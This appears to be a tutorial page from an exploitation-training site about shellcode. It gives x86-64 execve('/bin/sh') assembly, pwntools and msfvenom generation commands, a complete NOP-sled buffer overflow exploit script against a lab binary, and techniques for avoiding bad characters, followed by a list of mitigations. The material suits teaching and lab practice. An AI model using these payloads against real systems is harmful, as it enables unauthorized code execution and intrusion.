Skip to content
Pwnversity
PWN-SHELLCODEintermediate · 6 min · upd. 2026-10

Shellcode

Shellcode is a piece of machine code —written directly in assembly/bytes— that performs a specific action when executed, classically spawning a shell (execve("/bin/sh")). It’s the payload that runs once your exploit manages to redirect the flow to a memory region you control that is executable. Today, with NX, direct shellcode is less common (you use ROP instead), but it remains fundamental when there are executable regions (no NX, RWX mmap, JIT).

For a shellcode to run you need two things: (1) control of the flow (RIP pointing at your code) and (2) an executable memory region where your code lives. If NX is enabled, there’s no writable+executable region by default and you must create one with ROP (mprotect/mmap) before jumping. All in an authorized lab/CTF.

The classic x86-64 goal is execve("/bin/sh", NULL, NULL) via the execve syscall (number 59):

; execve("/bin/sh", 0, 0)
xor rsi, rsi ; argv = NULL
xor rdx, rdx ; envp = NULL
mov rax, 0x68732f6e69622f ; "/bin/sh\0" little-endian (no explicit null byte)
push rsi ; NULL terminator on the stack
push rax
mov rdi, rsp ; RDI -> "/bin/sh"
mov rax, 59 ; execve syscall number
syscall

pwntools generates and assembles shellcode for many architectures; it’s the most practical option:

from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.amd64.linux.sh()) # ready-made execve("/bin/sh")
# or write your own:
sc = asm('''
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi, rsp
xor rdx, rdx
push 59
pop rax
syscall
''')

Other sources: the shell-storm database, or msfvenom -p linux/x64/exec CMD=/bin/sh -f python for Metasploit.

Exploitation (lab): delivering and executing

Section titled “Exploitation (lab): delivering and executing”

The requirement is an executable region where you write the shellcode and jump to. Without NX, the classic path is to put it on the stack with a NOP sled:

from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.amd64.linux.sh())
offset = 72
ret = p64(stack_addr) # (leaked) address inside the sled
# the NOP sled relaxes precision: land on any \x90 and "slide" into the shellcode
payload = b'\x90'*(offset - len(sc)) + sc + ret
io = process('./vuln')
io.sendline(payload)
io.interactive()
flowchart TD
    A["overflow: RIP = &sled"] --> B["NOP sled (\\x90...)"]
    B --> C["slides into the shellcode"]
    C --> D["execve('/bin/sh')"]
    D --> E["shell"]

With NX you can’t execute the stack. The alternative is to ROP into mprotect(region, len, RWX) (or mmap) to make executable a region where you already wrote the shellcode, then jump to it; or ROP straight into execve (ret2syscall), with no shellcode.

Many exploits have forbidden characters (almost always \x00, since it terminates strings; sometimes \x0a, \x20…). The shellcode must avoid them:

  • Null-free / alphanumeric shellcode depending on the constraint.
  • Encoders that avoid bad chars: msfvenom -b '\x00\x0a\x20'.
  • Self-decoding shellcode (decrypts itself at runtime).
  • Identify the bad chars by testing byte by byte what gets corrupted in memory.
  • Windows: different shellcode (dynamic kernel32 resolution, WinAPI calls).
  • Staged vs stageless: a small stager that downloads the rest, or everything in one.
  • Egghunter: when space is small, searches memory for a marker followed by the large payload.
  • In remote exploitation it’s combined with a reverse shell instead of a local /bin/sh.
  • NX/DEP — the direct mitigation: non-executable stack/heap blocks injected shellcode.
  • ASLR/PIE — make jumping to a fixed address hard.
  • W^X (write XOR execute) — no region is both writable and executable (avoid RWX mmap).
  • CFI / shadow stack and detection of anomalous RWX regions (EDR), JIT hardening.
  • The mitigations that stop RIP control (canaries, RELRO) prevent ever reaching shellcode execution.
  • Define what the shellcode must do (shell/execve/reverse)
  • Generate it (pwntools shellcraft / msfvenom / shell-storm)
  • Identify bad chars and avoid them (encoder/null-free)
  • Is there an executable region? (no NX, RWX mmap, mprotect)
  • NOP sled + shellcode + jump to the region
  • If NX: ROP into mprotect/execve instead of direct shellcode
  • Execution confirmed (shell)
  • Blue: NX, W^X, ASLR active?